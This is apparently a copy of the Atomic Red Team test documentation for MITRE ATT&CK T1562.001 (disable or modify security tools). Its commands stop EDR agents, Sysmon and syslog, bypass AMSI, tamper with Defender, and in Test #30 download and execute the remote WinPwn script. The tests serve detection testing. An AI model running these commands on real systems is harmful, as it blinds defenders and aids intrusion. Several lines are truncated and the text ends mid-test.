

# T1562.001 - Impair Defenses: Disable or Modify Tools

## Description from ATT&CK

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](#), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)  
(Citation: MDSec System Calls)

# Atomic Tests

---

- [Atomic Test #1 - Disable syslog](#)
- [Atomic Test #2 - Disable Cb Response](#)
- [Atomic Test #3 - Disable SELinux](#)
- [Atomic Test #4 - Stop Crowdstrike Falcon on Linux](#)
- [Atomic Test #5 - Disable Carbon Black Response](#)
- [Atomic Test #6 - Disable LittleSnitch](#)
- [Atomic Test #7 - Disable OpenDNS Umbrella](#)
- [Atomic Test #8 - Disable macOS Gatekeeper](#)
- [Atomic Test #9 - Stop and unload Crowdstrike Falcon on macOS](#)
- [Atomic Test #10 - Unload Sysmon Filter Driver](#)
- [Atomic Test #11 - Uninstall Sysmon](#)
- [Atomic Test #12 - AMSI Bypass - AMSI InitFailed](#)
- [Atomic Test #13 - AMSI Bypass - Remove AMSI Provider Reg Key](#)
- [Atomic Test #14 - Disable Arbitrary Security Windows Service](#)
- [Atomic Test #15 - Tamper with Windows Defender ATP PowerShell](#)
- [Atomic Test #16 - Tamper with Windows Defender Command Prompt](#)
- [Atomic Test #17 - Tamper with Windows Defender Registry](#)
- [Atomic Test #18 - Disable Microsoft Office Security Features](#)
- [Atomic Test #19 - Remove Windows Defender Definition Files](#)
- [Atomic Test #20 - Stop and Remove Arbitrary Security Windows Service](#)
- [Atomic Test #21 - Uninstall Crowdstrike Falcon on Windows](#)

- [Atomic Test #22 - Tamper with Windows Defender Evade Scanning -Folder](#)
- [Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Extension](#)
- [Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Process](#)
- [Atomic Test #25 - office-365-Disable-AntiPhishRule](#)
- [Atomic Test #26 - Disable Windows Defender with DISM](#)
- [Atomic Test #27 - Disable Defender with Defender Control](#)
- [Atomic Test #28 - Disable Defender Using NirSoft AdvancedRun](#)
- [Atomic Test #29 - Kill antimalware protected processes using Backstab](#)
- [Atomic Test #30 - WinPwn - Kill the event log services for stealth](#)
- [Atomic Test #31 - Tamper with Windows Defender ATP using Aliases - PowerShell](#)
- [Atomic Test #32 - LockBit Black - Disable Privacy Settings Experience Using Registry -cmd](#)
- [Atomic Test #33 - LockBit Black - Use Registry Editor to turn on automatic logon -cmd](#)
- [Atomic Test #34 - LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell](#)
- [Atomic Test #35 - Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell](#)
- [Atomic Test #36 - Disable Windows Defender with PwSh Disable-WindowsOptionalFeature](#)

## Atomic Test #1 - Disable syslog

Disables syslog collection

**Supported Platforms:** Linux

**auto\_generated\_guid:** 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8

**Inputs:**

Name	Description	Type	Default Value
------	-------------	------	---------------

package_checker	Package checking command for linux.	String	(rpm -q rsyslog 2>&1 >/dev/null)
package_installer	Package installer command for linux. Default yum	String	(which yum && yum -y install epel-release rsyslog)
flavor_command	Command to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog	String	systemctl stop rsyslog ; systemctl disable rsyslog
cleanup_command	Command to enable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog start ; chkconfig rsyslog on	String	systemctl start rsyslog ; systemctl enable rsyslog

Attack Commands: Run with `sh` ! Elevation Required (e.g. root or admin)

```
#{flavor_command}
```

Cleanup Commands:

```
#{cleanup_command}
```

Dependencies: Run with `sh` !

Description: Package with rsyslog must be on system

Check Prereq Commands:

```
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
```

Get Prereq Commands:

```
sudo #{package_installer}
```

## Atomic Test #2 - Disable Cb Response

Disable the Cb Response service

**Supported Platforms:** Linux

**auto\_generated\_guid:** ae8943f7-0f8d-44de-962d-fbc2e2f03eb8

**Attack Commands:** Run with **sh** !

```
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];  
then  
    service cbdaemon stop  
    chkconfig off cbdaemon  
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];  
    systemctl stop cbdaemon  
    systemctl disable cbdaemon  
fi
```



## Atomic Test #3 - Disable SELinux

Disables SELinux enforcement

**Supported Platforms:** Linux

**auto\_generated\_guid:** fc225f36-9279-4c39-b3f9-5141ab74f8d8

**Attack Commands:** Run with **sh** ! Elevation Required (e.g. root or admin)

```
setenforce 0
```



**Cleanup Commands:**

```
setenforce 1
```



## Atomic Test #4 - Stop CrowdStrike Falcon on Linux

---

Stop and disable CrowdStrike Falcon on Linux

**Supported Platforms:** Linux

**auto\_generated\_guid:** 828a1278-81cc-4802-96ab-188bf29ca77d

**Attack Commands:** Run with `sh` ! Elevation Required (e.g. root or admin)

```
sudo systemctl stop falcon-sensor.service
sudo systemctl disable falcon-sensor.service
```



**Cleanup Commands:**

```
sudo systemctl enable falcon-sensor.service
sudo systemctl start falcon-sensor.service
```



## Atomic Test #5 - Disable Carbon Black Response

---

Disables Carbon Black Response

**Supported Platforms:** macOS

**auto\_generated\_guid:** 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c

**Attack Commands:** Run with `sh` ! Elevation Required (e.g. root or admin)

```
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist  
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
```



### Cleanup Commands:

```
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist  
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
```



## Atomic Test #6 - Disable LittleSnitch

Disables LittleSnitch

**Supported Platforms:** macOS

**auto\_generated\_guid:** 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3

**Attack Commands:** Run with **sh** ! Elevation Required (e.g. root or admin)

```
sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
```



### Cleanup Commands:

```
sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
```



## Atomic Test #7 - Disable OpenDNS Umbrella

Disables OpenDNS Umbrella

**Supported Platforms:** macOS

**auto\_generated\_guid:** 07f43b33-1e15-4e99-be70-bc094157c849

**Attack Commands:** Run with **sh**! Elevation Required (e.g. root or admin)

```
sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpd
```

**Cleanup Commands:**

```
sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUp
```

## Atomic Test #8 - Disable macOS Gatekeeper

Disables macOS Gatekeeper

**Supported Platforms:** macOS

**auto\_generated\_guid:** 2a821573-fb3f-4e71-92c3-daac7432f053

**Attack Commands:** Run with **sh**! Elevation Required (e.g. root or admin)

```
sudo spctl --master-disable
```

**Cleanup Commands:**

```
sudo spctl --master-enable
```

## Atomic Test #9 - Stop and unload Crowdstrike Falcon on macOS

Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS



Supported Platforms: macOS

auto\_generated\_guid: b3e7510c-2d4c-4249-a33f-591a2bc83eef

Inputs:

Name	Description	Type	Default Value
falcond_plist	The path of the Crowdstrike Falcon plist file	Path	/Library/LaunchDaemons/com.crowdstrike.falcond.plist
userdaemon_plist	The path of the Crowdstrike Userdaemon plist file	Path	/Library/LaunchDaemons/com.crowdstrike.userdaemo

Attack Commands: Run with **sh** ! Elevation Required (e.g. root or admin)

```
sudo launchctl unload #{falcond_plist}
sudo launchctl unload #{userdaemon_plist}
```

Cleanup Commands:

```
sudo launchctl load -w #{falcond_plist}
sudo launchctl load -w #{userdaemon_plist}
```

## Atomic Test #10 - Unload Sysmon Filter Driver

Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution, run the prereq\_command's and it should fail with an error of "sysmon filter must be loaded".

Supported Platforms: Windows

auto\_generated\_guid: 811b3e76-c41b-430c-ac0d-e2380bfaa164

Inputs:

Name	Description	Type	Default Value
sysmon_driver	The name of the Sysmon filter driver (this can change from the default)	String	SysmonDrv

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
fltmc.exe unload #{sysmon_driver}
```

Cleanup Commands:

```
sysmon -u -i > nul 2>&1
sysmon -i -accepteula -i > nul 2>&1
%temp%\Sysmon\sysmon.exe -u > nul 2>&1
%temp%\Sysmon\sysmon.exe -accepteula -i > nul 2>&1
```

Dependencies: Run with `powershell` !

Description: Sysmon must be downloaded

Check Prereq Commands:

```
if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") -or (Test-Path
```

Get Prereq Commands:

```
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$env:TEMP\Sysmon.zip"
Expand-Archive $env:TEMP\Sysmon.zip $env:TEMP\Sysmon -Force
Remove-Item $env:TEMP\Sysmon.zip -Force
```

Description: sysmon must be Installed

Check Prereq Commands:

```
if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }
```

Get Prereq Commands:

```
if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\! { Set-Location $env:TEMP\Sysmon\; .\Sysmon.exe -accepteula -i}
```

Description: sysmon filter must be loaded

Check Prereq Commands:

```
if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 }
```

Get Prereq Commands:

```
sysmon -u  
sysmon -accepteula -i
```

# Atomic Test #11 - Uninstall Sysmon

Uninstall Sysinternals Sysmon for Defense Evasion

Supported Platforms: Windows

auto\_generated\_guid: a316fb2e-5344-470d-91c1-23e15c374edc

Inputs:

Name	Description	Type	Default Value
------	-------------	------	---------------

sysmon_exe	The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH)	Path	PathToAtomicsFolder\T1562.001\bin\sysmon.exe
------------	---	------	--

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
sysmon -u
```



Cleanup Commands:

```
sysmon -i -accepteula >nul 2>&1
```



Dependencies: Run with **powershell** !

Description: Sysmon executable must be available

Check Prereq Commands:

```
if(cmd /c where sysmon) {exit 0} else {exit 1}
```



Get Prereq Commands:

```
$parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip"
New-Item -ItemType Directory $parentpath -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$:
Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
if(-not ($Env:Path).contains($parentpath)){ $Env:Path += ";$parentpath" }
```



Description: Sysmon must be installed

Check Prereq Commands:

```
if(cmd /c sc query sysmon) { exit 0} else { exit 1}
```



#### Get Prereq Commands:

```
cmd /c sysmon -i -accepteula
```



## Atomic Test #12 - AMSI Bypass - AMSI InitFailed

Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true. Upon execution, no output is displayed.

<https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 695eed40-e949-40e5-b306-b4031e4154bd

**Attack Commands:** Run with **powershell** !

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed').SetValue($null, $true)
```



#### Cleanup Commands:

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed').SetValue($null, $true)
```



## Atomic Test #13 - AMSI Bypass - Remove AMSI Provider Reg Key

With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection. This test removes the Windows Defender provider registry key. Upon execution, no output is displayed. Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" to verify that it is gone.

Supported Platforms: Windows

auto\_generated\_guid: 13f09b91-c953-438e-845b-b585e51cac9b

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99F1-438E-845B-B585E51CAC9B}"
```

Cleanup Commands:

```
New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99F1-438E-845B-B585E51CAC9B}"
```

# Atomic Test #14 - Disable Arbitrary Security Windows Service

With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed. Change the service\_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service. To verify that the service has stopped, run "sc query McAfeeDLPAgentService"

Supported Platforms: Windows

auto\_generated\_guid: a1230893-56ac-4c81-b644-2108e982f8f5

Inputs:

Name	Description	Type	Default Value
service_name	The name of the service to stop	String	McAfeeDLPAgentService

Attack Commands: Run with command\_prompt ! Elevation Required (e.g. root or admin)

```
net.exe stop #{service_name}
sc.exe config #{service_name} start= disabled
```

## Cleanup Commands:

```
sc.exe config #{service_name} start= auto >nul 2>&1  
net.exe start #{service_name} >nul 2>&1
```



## Atomic Test #15 - Tamper with Windows Defender ATP PowerShell

Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled in Windows settings.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 6b8df440-51ec-4d53-bf83-899591c9b5d7

**Attack Commands:** Run with `powershell` ! Elevation Required (e.g. root or admin)

```
Set-MpPreference -DisableRealtimeMonitoring 1  
Set-MpPreference -DisableBehaviorMonitoring 1  
Set-MpPreference -DisableScriptScanning 1  
Set-MpPreference -DisableBlockAtFirstSeen 1
```



## Cleanup Commands:

```
Set-MpPreference -DisableRealtimeMonitoring 0  
Set-MpPreference -DisableBehaviorMonitoring 0  
Set-MpPreference -DisableScriptScanning 0  
Set-MpPreference -DisableBlockAtFirstSeen 0
```



## Atomic Test #16 - Tamper with Windows Defender Command Prompt

Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator. However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied" will be displayed twice and the WinDefend service status will be displayed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** aa875ed4-8935-47e2-b2c5-6ec00ab220d2

**Attack Commands:** Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
sc stop WinDefend
sc config WinDefend start=disabled
sc query WinDefend
```



**Cleanup Commands:**

```
sc start WinDefend >nul 2>&1
sc config WinDefend start=enabled >nul 2>&1
```



## Atomic Test #17 - Tamper with Windows Defender Registry

Disable Windows Defender from starting after a reboot. Upon execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be grayed out and have no info.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45

**Attack Commands:** Run with `powershell` ! Elevation Required (e.g. root or admin)

```
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name Disabl
```



**Cleanup Commands:**



```
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name Disabl
```

## Atomic Test #18 - Disable Microsoft Office Security Features

Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not show any warning before editing the document.

<https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/>

Supported Platforms: Windows

auto\_generated\_guid: 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7

Attack Commands: Run with **powershell** !

```
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ Protec
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ Protec
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ Protec
```

Cleanup Commands:

```
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -N
Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedVi
```

## Atomic Test #19 - Remove Windows Defender Definition Files

Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments. On later versions of windows (1909+) this command fails even with admin

due to insufficient privileges. On older versions of Windows the command will say completed.

<https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/>

Supported Platforms: Windows

auto\_generated\_guid: 3d47daaa-2f56-43e0-94cc-caf5d8d52a68

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

## Atomic Test #20 - Stop and Remove Arbitrary Security Windows Service

Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.

Supported Platforms: Windows

auto\_generated\_guid: ae753dda-0f15-4af6-a168-b9ba16143143

Inputs:

Name	Description	Type	Default Value
service_name	The name of the service to remove	String	McAfeeDLPAgentService

Attack Commands: Run with **powershell** ! Elevation Required (e.g. root or admin)

```
Stop-Service -Name #{service_name}
Remove-Service -Name #{service_name}
```

## Atomic Test #21 - Uninstall Crowdstrike Falcon on Windows

Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.

**Supported Platforms:** Windows

**auto\_generated\_guid:** b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297

**Inputs:**

Name	Description	Type	Default Value
falcond_path	The Crowdstrike Windows Sensor path. The Guid always changes.	Path	C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe

**Attack Commands:** Run with **powershell** ! Elevation Required (e.g. root or admin)

```
if (Test-Path "${falcond_path}") {. "${falcond_path}" /repair /uninstall /quiet } , 
```

## Atomic Test #22 - Tamper with Windows Defender Evade Scanning -Folder

Malware can exclude a specific path from being scanned and evading detection. Upon successful execution, the file provided should be on the list of excluded path. To check the exclusion list using powershell (Get-MpPreference).ExclusionPath

**Supported Platforms:** Windows

**auto\_generated\_guid:** 0b19f4ee-de90-4059-88cb-63c800c683ed

**Inputs:**

Name	Description	Type	Default Value
excluded_folder	This folder will be excluded from scanning	Path	C:\Temp

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$excludedpath= "#{excluded_folder}"  
Add-MpPreference -ExclusionPath $excludedpath
```

Cleanup Commands:

```
$excludedpath= "#{excluded_folder}"  
Remove-MpPreference -ExclusionPath $excludedpath
```

## Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Extension

Malware can exclude specific extensions from being scanned and evading detection. Upon successful execution, the extension(s) should be on the list of excluded extensions. To check the exclusion list using powershell (Get-MpPreference).ExclusionExtension.

Supported Platforms: Windows

auto\_generated\_guid: 315f4be6-2240-4552-b3e1-d1047f5eecea

Inputs:

Name	Description	Type	Default Value
excluded_exts	A list of extension to exclude from scanning	String	.exe

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$excludedExts= "#{excluded_exts}"
```

```
Add-MpPreference -ExclusionExtension $excludedExts
```

Cleanup Commands:

```
$excludedExts= "#{excluded_exts}"  
Remove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore
```

# Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Process

Malware can exclude specific processes from being scanned and evading detection. Upon successful execution, the process(es) should be on the list of excluded processes. To check the exclusion list using powershell (Get-MpPreference).ExclusionProcess."

Supported Platforms: Windows

auto\_generated\_guid: a123ce6a-3916-45d6-ba9c-7d4081315c27

Inputs:

Name	Description	Type	Default Value
excluded_process	A list of processes to exclude from scanning	String	outlook.exe

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$excludedProcess = "#{excluded_process}"  
Add-MpPreference -ExclusionProcess $excludedProcess
```

Cleanup Commands:

```
$excludedProcess = "#{excluded_process}"  
Remove-MpPreference -ExclusionProcess $excludedProcess
```

# Atomic Test #25 - office-365-Disable-AntiPhishRule

Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.

Supported Platforms: Office-365

auto\_generated\_guid: b9bbae2c-2ba6-4cf3-b452-8e8f908696f3

Inputs:

Name	Description	Type	Default Value
username	office-365 username	String	
password	office-365 password	String	

Attack Commands: Run with powershell !

```
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{user},$secure_pwd"
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
```

Cleanup Commands:

```
if("#{password}" -ne "") {
$secure_pwd = ("#{password}" + "") | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{user},$secure_pwd"
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Enable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
}
```

Dependencies: Run with powershell !

Description: ExchangeOnlineManagement PowerShell module must be installed

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else
```



Get Prereq Commands:

```
Install-Module -Name ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement
```



## Atomic Test #26 - Disable Windows Defender with DISM

The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images. A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed. This method will remove Defender and it's package.

Supported Platforms: Windows

auto\_generated\_guid: 871438ac-7d6e-432a-b27d-3e7db69faf58

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /qu:
```



## Atomic Test #27 - Disable Defender with Defender Control

Attempting to use Defender Control software to disable Windows Defender. Upon successful execution, Windows Defender will be turned off.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 178136d8-2778-4d7a-81f3-d517053a4fd6

**Inputs:**

Name	Description	Type	Default Value
DefenderID	Defender ID that is used as a sort of passcode to disable it within Defender Control from the command line. The machine-specific Defender ID can be obtained within Defender Control by going to menu, command line info, and then retrieving the 4 character passcode to continue (listed after defendercontrol /d /id in the command line info window).	String	FFFF



DefenderControlExe	Path to Defender Control software version 1.6.	String	\$env:temp\DefenderControl\DefenderControl\D
--------------------	--	--------	--

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
cmd /c #{DefenderControlExe} /D #{DefenderID} | Out-Null
```

Cleanup Commands:

```
cmd /c #{DefenderControlExe} /E | Out-Null
```

Dependencies: Run with powershell !

Description: Defender Control must be installed on the machine.

Check Prereq Commands:

```
if (Test-Path #{DefenderControlExe}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Start-BitsTransfer -Source "https://web.archive.org/web/20201210152711/https://www.expand-archive -LiteralPath "$env:temp\defendercontrol.zip" -DestinationPath "$env
```

## Atomic Test #28 - Disable Defender Using NirSoft AdvancedRun

Information on NirSoft AdvancedRun and its creators found here: [http://www.nirsoft.net/utils/advanced\\_run.html](http://www.nirsoft.net/utils/advanced_run.html) This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign. See <https://medium.com/s2wblog/analysis-of->

[destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3](#) Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk.

Supported Platforms: Windows

auto\_generated\_guid: 81ce22fd-9612-4154-918e-8a1f285d214d

Inputs:

Name	Description	Type	Default Value
AdvancedRun_Location	Path of Advanced Run executable	Path	\$env:temp\AdvancedRun.exe
delete_defender_folder	Set to 1 to also delete the Windows Defender folder	Integer	0

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
Try {cmd /c #{AdvancedRun_Location} /EXEFilename "$env:systemroot\System32\sc.exe"
if(#{delete_defender_folder}){
    $CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -Recurse
    Try {cmd /c #{AdvancedRun_Location} /EXEFilename "$env:systemroot\System32\Windoi
}
```

Cleanup Commands:

```
Try {cmd /c #{AdvancedRun_Location} /EXEFilename "$env:systemroot\System32\sc.exe"
```

Dependencies: Run with powershell !

Description: Advancedrun.exe must exist at #{AdvancedRun\_Location}

Check Prereq Commands:

```
if(Test-Path -Path #{AdvancedRun_Location}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -OutFile "$env:temp\advancedrun.zip"
Expand-Archive -path "$env:temp\advancedrun.zip" -destinationpath "$env:temp\" -Force
```

# Atomic Test #29 - Kill antimalware protected processes using Backstab

Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill. <https://github.com/Yaxser/Backstab>

Supported Platforms: Windows

auto\_generated\_guid: 24a12b91-05a7-4deb-8d7f-035fa98591bc

Inputs:

Name	Description	Type	Default Value
process_name	Name of the protected process you want to kill/terminate.	string	MsMpEng.exe

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
& $env:temp\Backstab64.exe -k -n #{process_name}
```

Dependencies: Run with powershell !

Description: Backstab64.exe should exist in %temp%

Check Prereq Commands:

```
if (Test-Path $env:temp\Backstab64.exe) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Start-BitsTransfer -Source "https://github.com/Yaxser/Backstab/releases/download/v: 
```


## Atomic Test #30 - WinPwn - Kill the event log services for stealth

Kill the event log services for stealth via function of WinPwn

Supported Platforms: Windows

auto\_generated\_guid: 7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3  
inv-phantom -consoleoutput -noninteractive 
```


## Atomic Test #31 - Tamper with Windows Defender ATP using Aliases - PowerShell

Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled in Windows settings.

Supported Platforms: Windows

auto\_generated\_guid: c531aa6e-9c97-4b29-afee-9b7be6fc8a64

Attack Commands: Run with **powershell** ! Elevation Required (e.g. root or admin)

```
Set-MpPreference -drtm $True  
Set-MpPreference -dbm $True 
```

```
Set-MpPreference -dsrptsc $True  
Set-MpPreference -dbaf $True
```

#### Cleanup Commands:

```
Set-MpPreference -drtm 0  
Set-MpPreference -dbm 0  
Set-MpPreference -dsrptsc 0  
Set-MpPreference -dbaf 0
```



## Atomic Test #32 - LockBit Black - Disable Privacy Settings Experience Using Registry -cmd

LockBit Black - Disable Privacy Settings Experience Using Registry

Supported Platforms: Windows

auto\_generated\_guid: d6d22332-d07d-498f-aea0-6139ecb7850e

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience
```



#### Cleanup Commands:

```
reg delete "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience
```



## Atomic Test #33 - LockBit Black - Use Registry Editor to turn on automatic logon -cmd

LockBit Black - Use Registry Editor to turn on automatic logon

Supported Platforms: Windows

auto\_generated\_guid: 9719d0e1-4fe0-4b2e-9a72-7ad3ee8ddc70

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoLogonCount /t REG_DWORD /d 1  
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoLogonTime /t REG_DWORD /d 300  
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoLogonUser /t REG_SZ /d Administrator  
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoLogonPassword /t REG_SZ /d Password
```

Cleanup Commands:

```
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoLogonCount  
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoLogonTime  
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoLogonUser  
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoLogonPassword
```

## Atomic Test #34 - LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell

LockBit Black - Disable Privacy Settings Experience Using Registry

Supported Platforms: Windows

auto\_generated\_guid: d8c57eaa-497a-4a08-961e-bd5efd7c9374

Attack Commands: Run with **powershell** ! Elevation Required (e.g. root or admin)

```
